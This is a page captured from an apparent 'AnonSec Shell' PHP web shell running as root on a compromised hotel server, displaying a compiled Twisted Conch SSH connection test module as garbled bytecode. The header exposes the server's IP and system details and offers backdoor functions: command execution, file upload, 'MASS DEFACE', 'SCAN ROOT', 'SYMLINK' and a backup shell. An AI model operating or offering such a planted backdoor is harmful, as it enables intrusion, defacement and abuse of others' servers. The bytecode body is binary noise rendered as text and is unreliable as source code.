AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/conch/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/conch/test/__pycache__/test_connection.cpython-310.pyc
o

�bIr�@s�dZddlZddlmZddlmZddlmZddlm	Z	ed�Z
ddlmZe
r3dd	lm
Z
mZnGd
d�d�ZGdd
�d
ej�ZGdd�d�ZGdd�dej�ZGdd�de	j�ZGdd�de	j�ZdS)z1
This module tests twisted.conch.ssh.connection.
�N)�channel)�
test_userauth)�
requireModule)�unittest�cryptography)�error)�common�
connectionc@seZdZGdd�d�ZdS)r	c@seZdZdS)zconnection.SSHConnectionN)�__name__�
__module__�__qualname__�r
r
�D/usr/lib/python3/dist-packages/twisted/conch/test/test_connection.py�
SSHConnectionsrN)r
rrrr
r
r
rr	sr	c@sdeZdZdZdZdZdZdd�Zdd�Zdd	�Z	d
d�Z
dd
�Zdd�Zdd�Z
dd�Zdd�ZdS)�TestChannela�
    A mocked-up version of twisted.conch.ssh.channel.SSHChannel.

    @ivar gotOpen: True if channelOpen has been called.
    @type gotOpen: L{bool}
    @ivar specificData: the specific channel open data passed to channelOpen.
    @type specificData: L{bytes}
    @ivar openFailureReason: the reason passed to openFailed.
    @type openFailed: C{error.ConchError}
    @ivar inBuffer: a C{list} of strings received by the channel.
    @type inBuffer: C{list}
    @ivar extBuffer: a C{list} of 2-tuples (type, extended data) of received by
        the channel.
    @type extBuffer: C{list}
    @ivar numberRequests: the number of requests that have been made to this
        channel.
    @type numberRequests: L{int}
    @ivar gotEOF: True if the other side sent EOF.
    @type gotEOF: L{bool}
    @ivar gotOneClose: True if the other side closed the connection.
    @type gotOneClose: L{bool}
    @ivar gotClosed: True if the channel is closed.
    @type gotClosed: L{bool}
    �TestChannelFcCs
d|jS)NzTestChannel %i)�id��selfr
r
r�	logPrefix:s
zTestChannel.logPrefixcCs4d|_||_g|_g|_d|_d|_d|_d|_dS)zF
        The channel is open.  Set up the instance variables.
        TrFN)�gotOpen�specificData�inBuffer�	extBuffer�numberRequests�gotEOF�gotOneClose�	gotClosed)rrr
r
r�channelOpen=s
zTestChannel.channelOpencCs
||_dS)zD
        Opening the channel failed.  Store the reason why.
        N)�openFailureReason)r�reasonr
r
r�
openFailedJ�
zTestChannel.openFailedcCs|jd7_|dkS)z_
        A test request.  Return True if data is 'data'.

        @type data: L{bytes}
        ��data)r�r�datar
r
r�request_testPszTestChannel.request_testcCs|j�|�dS)z=
        Data was received.  Store it in the buffer.
        N)r�appendr%r
r
r�dataReceivedYszTestChannel.dataReceivedcCs|j�||f�dS)zF
        Extended data was received.  Store it in the buffer.
        N)rr()r�coder&r
r
r�extReceived_szTestChannel.extReceivedcC�
d|_dS)z1
        EOF was received.  Remember it.
        TN)rrr
r
r�eofReceiveder"zTestChannel.eofReceivedcCr,)z3
        Close was received.  Remember it.
        TN)rrr
r
r�
closeReceivedkr"zTestChannel.closeReceivedcCr,)z7
        The channel is closed.  Rembember it.
        TN)rrr
r
r�closedqr"zTestChannel.closedN)r
rr�__doc__�namerrrrr!r'r)r+r-r.r/r
r
r
rrs
	rc@s$eZdZdZdZdd�Zdd�ZdS)�
TestAvatarz?
    A mocked-up version of twisted.conch.avatar.ConchUser
    �{cCs4|tjkr
t||||d�S|dkrt�|jd��dS)z�
        The server wants us to return a channel.  If the requested channel is
        our TestChannel, return it, otherwise return None.
        )�remoteWindow�remoteMaxPacketr&�avatar�conch-error-args�error args in wrong orderN)rr1r�
ConchError�_ARGS_ERROR_CODE)r�channelType�
windowSize�	maxPacketr&r
r
r�
lookupChannels
��zTestAvatar.lookupChannelcCs |dkrdS|dkrd|fSdS)z�
        The client has made a global request.  If the global request is
        'TestGlobal', return True.  If the global request is 'TestData',
        return True and the request-specific data we received.  Otherwise,
        return False.
        �
TestGlobalT�TestDataFr
)r�requestTyper&r
r
r�gotGlobalRequest�s
zTestAvatar.gotGlobalRequestN)r
rrr0r:r>rBr
r
r
rr2xs
r2c@s@eZdZdZes
dZdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
S)�TestConnectionz}
    A subclass of SSHConnection for testing.

    @ivar channel: the current channel.
    @type channel. C{TestChannel}
    �Cannot run without cryptographycC�dS)NrCr
rr
r
rr�szTestConnection.logPrefixcCrE)zT
        The other side made the 'TestGlobal' global request.  Return True.
        Tr
r%r
r
r�global_TestGlobal�sz TestConnection.global_TestGlobalcCsd|fS)zt
        The other side made the 'Test-Data' global request.  Return True and
        the data we received.
        Tr
r%r
r
r�global_Test_Data�szTestConnection.global_Test_DatacCst|||d�|_|jS)z�
        The other side is requesting the TestChannel.  Create a C{TestChannel}
        instance, store it, and return it.
        )r4r5r&)rr�rr<r=r&r
r
r�channel_TestChannel�s�z"TestConnection.channel_TestChannelcCstd��)zU
        The other side is requesting the ErrorChannel.  Raise an exception.
        z
no such thing)�AssertionErrorrHr
r
r�channel_ErrorChannel�sz#TestConnection.channel_ErrorChannelN)r
rrr0r�skiprrFrGrIrKr
r
r
rrC�s
rCc@seZdZesdZdd�Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Z d:d;�Z!d<d=�Z"d>d?�Z#d@dA�Z$dBdC�Z%dDS)E�ConnectionTestsrDcCs6t�d�|_t�|j_t�|_|j|j_|j��dS�N)r�
FakeTransport�	transportr2r6rC�conn�serviceStartedrr
r
r�setUp�s


zConnectionTests.setUpcCs@|j�|�|jjdd�|j_|j�t�d|jd�d�dS)z?
        Open the channel with the default connection.
        N���z>2L�s�)rQ�openChannelrP�packets�ssh_CHANNEL_OPEN_CONFIRMATION�struct�packr�rrr
r
r�_openChannel�s
�zConnectionTests._openChannelcCs|j��dSrN)rQ�serviceStoppedrr
r
r�tearDown��zConnectionTests.tearDowncCs|�|jjj|j�dS)z_
        Test that the connection links itself to the avatar in the
        transport.
        N)�assertIsrPr6rQrr
r
r�test_linkAvatar�szConnectionTests.test_linkAvatarcCs�t�}t�}|j�|�|j�|�|j�d�|�|j�|�|j�|�|j�|�|j�|j��|�|j�|�|j�|�|j�ddl	m
}|�|j|�dS)zF
        Test that serviceStopped() closes any open channels.
        sr)�ConnectionLostN)
rrQrVrX�
assertTruer�assertFalserr]�twisted.internet.errorrb�assertIsInstancer)r�channel1�channel2rbr
r
r�test_serviceStopped�s
z#ConnectionTests.test_serviceStoppedcCs�|j�t�d�d�|�|jjtjdfg�g|j_|j�t�d�dd�|�|jjtjdfg�g|j_|j�t�d�d�|�|jjtj	dfg�g|j_|j�t�d�d�|�|jjg�dS)	z�
        Test that global request packets are dispatched to the global_*
        methods and the return values are translated into success or failure
        messages.
        r?���r@s	test datasTestBad�N)
rQ�ssh_GLOBAL_REQUESTr�NS�assertEqualrPrWr	�MSG_REQUEST_SUCCESS�MSG_REQUEST_FAILURErr
r
r�test_GLOBAL_REQUESTs"���z#ConnectionTests.test_GLOBAL_REQUESTcsB�j�ddd�}�j�d��fdd�}|�|�|��j�|S)zh
        Test that global request success packets cause the Deferred to be
        called back.
        �requestr$Tcs��|d�dS�Nr$)ro)r&rr
r�check"sz3ConnectionTests.test_REQUEST_SUCCESS.<locals>.check)rQ�sendGlobalRequest�ssh_REQUEST_SUCCESS�addCallback�
addErrback�fail�r�drur
rr�test_REQUEST_SUCCESSs
z$ConnectionTests.test_REQUEST_SUCCESScsB�j�ddd�}�j�d��fdd�}|��j�|�|�|S)zg
        Test that global request failure packets cause the Deferred to be
        erred back.
        rsr$Tcs��|jjd�dSrt)ro�valuer&)�frr
rru1�z3ConnectionTests.test_REQUEST_FAILURE.<locals>.check)rQrv�ssh_REQUEST_FAILURErxrzryr{r
rr�test_REQUEST_FAILURE)s
z$ConnectionTests.test_REQUEST_FAILUREcCsH|j`|j�t�d�d�|�|jjj�|�	|jjj|j�|�	|jjj
d�|�	|jjjd�|�	|jjjd�|�	|jjj
d�|�	|jjtjdfg�g|j_|j�t�d�d�|��|�	|jjtjdt�d	�t�d
�fg�g|j_|j�t�d�d�|��|�	|jjtjdt�d
�t�d
�fg�dS)z�
        Test that open channel packets cause a channel to be created and
        opened or a failure message to be returned.
        r��r#s��
BadChannelsssunknown channelrksErrorChannelssunknown failureN)rPr6rQ�ssh_CHANNEL_OPENrrnrcrrror&r�remoteWindowLeftr5rWr	�MSG_CHANNEL_OPEN_CONFIRMATION�flushLoggedErrors�MSG_CHANNEL_OPEN_FAILURErr
r
r�test_CHANNEL_OPEN8sV���
����������z!ConnectionTests.test_CHANNEL_OPENcCs�||jj_|j�t�d�d�|�tj	�}|�
t|�dd|���|�
|djj
d�|�
|jjtjdt�d�t�d	�fg�d
S)z�
        Deliver a request for a channel open which will result in an exception
        being raised during channel lookup.  Assert that an error response is
        delivered as a result.
        r7r�r#zExpected one error, got: r)r3r8s{serror args in wrong orderrkN)rPr6r:rQr�rrnr�rr9ro�lenr~�argsrWr	r�)rr*�errorsr
r
r�_lookupChannelErrorTestls$
������z'ConnectionTests._lookupChannelErrorTestcCs|�d�dS)a�
        If a C{lookupChannel} implementation raises L{error.ConchError} with the
        arguments in the wrong order, a C{MSG_CHANNEL_OPEN} failure is still
        sent in response to the message.

        This is a temporary work-around until L{error.ConchError} is given
        better attributes and all of the Conch code starts constructing
        instances of it properly.  Eventually this functionality should be
        deprecated and then removed.
        r3N)r�rr
r
r�test_lookupChannelError�sz'ConnectionTests.test_lookupChannelErrorcCstt�}|j�|�|j�d�|�|jd�|�|jd�|�|jd�|�|jj|d�|�|jj	dd�dS)zv
        Test that channel open confirmation packets cause the channel to be
        notified that it's open.
        sr�N)
rrQrVrXror�r5r�channelsToRemoteChannel�localToRemoteChannelr[r
r
r�test_CHANNEL_OPEN_CONFIRMATION�sz.ConnectionTests.test_CHANNEL_OPEN_CONFIRMATIONcCsPt�}|j�|�|j�dt�d��|�|jjd�|�	|jj
�|��dS)zz
        Test that channel open failure packets cause the channel to be
        notified that its opening failed.
        ��failure!)r�r#N)rrQrV�ssh_CHANNEL_OPEN_FAILURErrnrorr��assertIsNone�channels�getr[r
r
r�test_CHANNEL_OPEN_FAILURE�s�z)ConnectionTests.test_CHANNEL_OPEN_FAILUREcCs8t�}|�|�|j}|j�d�|�|j|d�dS)zc
        Test that channel window adjust messages add bytes to the channel
        window.
        r�r#N)rr\r�rQ�ssh_CHANNEL_WINDOW_ADJUSTro)rr�
oldWindowSizer
r
r�test_CHANNEL_WINDOW_ADJUST�s

z*ConnectionTests.test_CHANNEL_WINDOW_ADJUSTcCstddd�}|�|�|j�dt�d��|�|jdg�|�|jj	t
jdfg�g|j_	d|jd}|j�dt�|��|�|jdg�|�|jj	t
j
d	fg�t�}|�|�d|jd}g|j_	|j�d
t�|��|�|jg�|�|jj	t
j
d	fg�dS)z�
        Test that channel data messages are passed up to the channel, or
        cause the channel to be closed if the data is too large.
        ����localWindow�localMaxPacketr�r$���ar#��r�N)rr\rQ�ssh_CHANNEL_DATArrnrorrPrWr	�MSG_CHANNEL_WINDOW_ADJUST�localWindowLeft�MSG_CHANNEL_CLOSEr��rr�longData�bigDatar
r
r�test_CHANNEL_DATA�s:
���	
�

�z!ConnectionTests.test_CHANNEL_DATAcCstddd�}|�|�|j�dt�d��|�|jdg�|�|jj	t
jdfg�g|j_	d|jd	}|j�dt�|��|�|jdg�|�|jj	t
j
d
fg�t�}|�|�d|jd	}g|j_	|j�dt�|��|�|jg�|�|jj	t
j
d
fg�dS)
z�
        Test that channel extended data messages are passed up to the channel,
        or cause the channel to be closed if they're too big.
        r�r�r�sr$)rr$r�r�r#r�sN)rr\rQ�ssh_CHANNEL_EXTENDED_DATArrnrorrPrWr	r�r�r�r�r�r
r
r�test_CHANNEL_EXTENDED_DATA�sF
����	�
�
�
�z*ConnectionTests.test_CHANNEL_EXTENDED_DATAcCs,t�}|�|�|j�d�|�|j�dS)zN
        Test that channel eof messages are passed up to the channel.
        r�N)rr\rQ�ssh_CHANNEL_EOFrcrr[r
r
r�test_CHANNEL_EOFs
z ConnectionTests.test_CHANNEL_EOFcCsht�}|�|�|�|j�|�|j�|�|j�|j�|�|j�	d�|�|j�|�|j�dS)z�
        Test that channel close messages are passed up to the channel.  Also,
        test that channel.close() is called if both sides are closed when this
        message is received.
        r�N)
rr\rcrrdrrrQ�	sendClose�ssh_CHANNEL_CLOSEr[r
r
r�test_CHANNEL_CLOSEs
z"ConnectionTests.test_CHANNEL_CLOSEcspt�}��|��j�dt�d�d���|jd��j�dt�d�dd�}�fdd�}|�|�|S)	zS
        Test that channel requests that succeed send MSG_CHANNEL_SUCCESS.
        r��testrlr#rjr$c����jjtjdfg�dS�Nr�)rorPrWr	�MSG_CHANNEL_SUCCESS��resultrr
rru2�
�z;ConnectionTests.test_CHANNEL_REQUEST_success.<locals>.check)	rr\rQ�ssh_CHANNEL_REQUESTrrnrorrx�rrr|rur
rr�test_CHANNEL_REQUEST_success$s
��
z,ConnectionTests.test_CHANNEL_REQUEST_successcsPt�}��|��j�dt�d�d�}�fdd�}|��j�|�|�|S)zP
        Test that channel requests that fail send MSG_CHANNEL_FAILURE.
        r�r�rjcr�r�)rorPrWr	�MSG_CHANNEL_FAILUREr�rr
rruEr�z;ConnectionTests.test_CHANNEL_REQUEST_failure.<locals>.check)	rr\rQr�rrnrxrzryr�r
rr�test_CHANNEL_REQUEST_failure;s
�
z,ConnectionTests.test_CHANNEL_REQUEST_failurecs>t�}��|��j�|ddd�}�j�d��fdd�}|S)zj
        Test that channel request success messages cause the Deferred to be
        called back.
        r�r$Tr�cs��|�dSrN)rcr�rr
rruYr_z;ConnectionTests.test_CHANNEL_REQUEST_SUCCESS.<locals>.check)rr\rQ�sendRequest�ssh_CHANNEL_SUCCESSr�r
rr�test_CHANNEL_REQUEST_SUCCESSOs
z,ConnectionTests.test_CHANNEL_REQUEST_SUCCESScsTt�}��|��j�|ddd�}�j�d��fdd�}|��j�|�|�|S)zi
        Test that channel request failure messages cause the Deferred to be
        erred back.
        r�rkTr�cs��|jjd�dS)Nzchannel request failed)ror~r�rr
rruhr�z;ConnectionTests.test_CHANNEL_REQUEST_FAILURE.<locals>.check)rr\rQr��ssh_CHANNEL_FAILURErxrzryr�r
rr�test_CHANNEL_REQUEST_FAILURE^s

z,ConnectionTests.test_CHANNEL_REQUEST_FAILUREcCs||j�ddd�}|�dd��|j�ddd�|�|jjtjt�	d�d	ftjt�	d�d
fg�|�|jj
d|gi�dS)
zQ
        Test that global request messages are sent in the right format.
        s	wantReplyr$TcS�dSrNr
��failurer
r
r�<lambda>u�z8ConnectionTests.test_sendGlobalRequest.<locals>.<lambda>snoReplyrkFs�datarl�globalN)rQrvryrorPrWr	�MSG_GLOBAL_REQUESTrrn�	deferreds�rr|r
r
r�test_sendGlobalRequestos��z&ConnectionTests.test_sendGlobalRequestcCsXt�}|j�|d�|�|jjtjt�	d�dfg�|�|j
d�|�|jjd�dS)zO
        Test that open channel messages are sent in the right format.
        saaaars�aaaarr#N)rrQrVrorPrWr	�MSG_CHANNEL_OPENrrnr�localChannelIDr[r
r
r�test_openChannel�s����
z ConnectionTests.test_openChannelc	Cs�t�}|�|�|j�|ddd�}|�dd��|j�|ddd�d|_|j�|ddd�|�|jjt	j
d	t�d�d
ft	j
d	t�d�dfg�|�|jj
d|g�d
S)zR
        Test that channel request messages are sent in the right format.
        r�TcSr�rNr
r�r
r
rr��r�z2ConnectionTests.test_sendRequest.<locals>.<lambda>�test2rkFstest3r�stestrlrN)rr\rQr�ry�localClosedrorPrWr	�MSG_CHANNEL_REQUESTrrnr��rrr|r
r
r�test_sendRequest�s$
����
z ConnectionTests.test_sendRequestcCsttdd�}|�|�d|_|j�|d�|�|jd�d|_|j�|d�|�|jd�|�|jjt	j
dfg�dS)	zi
        Test that channel window adjust messages cause bytes to be added
        to the window.
        r�)r�rr#T���N)rr\r�rQ�adjustWindowror�rPrWr	r�r[r
r
r�test_adjustWindow�s

���z!ConnectionTests.test_adjustWindowcCsXt�}|�|�|j�|d�d|_|j�|d�|�|jjtj	dt
�d�fg�dS)zO
        Test that channel data messages are sent in the right format.
        r�T�br�N)rr\rQ�sendDatar�rorPrWr	�MSG_CHANNEL_DATArrnr[r
r
r�
test_sendData�s
�zConnectionTests.test_sendDatacCs\t�}|�|�|j�|dd�d|_|j�|dd�|�|jjtj	dt
�d�fg�dS)zX
        Test that channel extended data messages are sent in the right format.
        r#r�Tr�r�r�N)rr\rQ�sendExtendedDatar�rorPrWr	�MSG_CHANNEL_EXTENDED_DATArrnr[r
r
r�test_sendExtendedData�s
���z%ConnectionTests.test_sendExtendedDatacCsbt�}|�|�|j�|�|�|jjtjdfg�d|_	|j�|�|�|jjtjdfg�dS)zN
        Test that channel EOF messages are sent in the right format.
        r�TN)
rr\rQ�sendEOFrorPrWr	�MSG_CHANNEL_EOFr�r[r
r
r�test_sendEOF�s
��zConnectionTests.test_sendEOFcCs�t�}|�|�|j�|�|�|j�|�|jjt	j
dfg�|j�|�|�|jjt	j
dfg�t�}|�|�|�|j�|�|j
�d|_|j�|�|�|j
�dS)zP
        Test that channel close messages are sent in the right format.
        r�TN)rr\rQr�rcr�rorPrWr	r�rrdr�remoteClosed)rrrhr
r
r�test_sendClose�s(

�
�
zConnectionTests.test_sendClosecCsZ|j�dddd�}|�|jd�|�|jd�|�|jd�|�tj|jjdddd�dS)z�
        Test that getChannel dispatches to the avatar when an avatar is
        present. Correct functioning without the avatar is verified in
        test_CHANNEL_OPEN.
        r�2�r$r�N)	rQ�
getChannelror&r�r5�assertRaisesrr9r[r
r
r�test_getChannelWithAvatars�z)ConnectionTests.test_getChannelWithAvatarcCsH|j`|�|j�dd��|�|j�dd�d�|�|j�dd��dS)zW
        Test that gotGlobalRequests dispatches to global_* without an avatar.
        r?r$s	Test-Data)Tr$s	BadGlobalN)rPr6rcrQrBrordrr
r
r�"test_gotGlobalRequestWithoutAvatars�z2ConnectionTests.test_gotGlobalRequestWithoutAvatarcCsBt�}|�|�|jj|dddd�}|�|tj�}|j�|�|S)z�
        Whenever an SSH channel gets closed any Deferred that was returned by a
        sendRequest() on its parent connection must be errbacked.
        �dummyrequest�	dummydatar#��	wantReply)rr\rQr��
assertFailurerr9�
channelClosedr�r
r
r�9test_channelClosedCausesLeftoverChannelDeferredsToErrback)s
zIConnectionTests.test_channelClosedCausesLeftoverChannelDeferredsToErrbackN)&r
rrrrLrSr\r^rarirrr}r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r
r
r
rrM�sH
4

%+	rMc@s(eZdZdZes
dZdd�Zdd�ZdS)�CleanConnectionShutdownTestszL
    Check whether correct cleanup is performed on connection shutdown.
    rDcCs,t�d�|_t�|j_t�|_|j|j_dSrN)rrOrPr2r6rCrQrr
r
rrS?s
z"CleanConnectionShutdownTests.setUpcCs8|j��|jjdddd�}|�|tj�}|j��|S)z�
        Once the service is stopped any leftover global deferred returned by
        a sendGlobalRequest() call must be errbacked.
        r�r�r#r�)rQrRrvr�rr9r]r�r
r
r�9test_serviceStoppedCausesLeftoverGlobalDeferredsToErrbackEs


zVCleanConnectionShutdownTests.test_serviceStoppedCausesLeftoverGlobalDeferredsToErrbackN)r
rrr0rrLrSr�r
r
r
rr�7sr�)r0rY�twisted.conch.sshr�twisted.conch.testr�twisted.python.reflectr�
twisted.trialrr�
twisted.conchrrr	�
SSHChannelrr2rrC�TestCaserMr�r
r
r
r�<module>s(\),n

Anon7 - 2022
AnonSec Team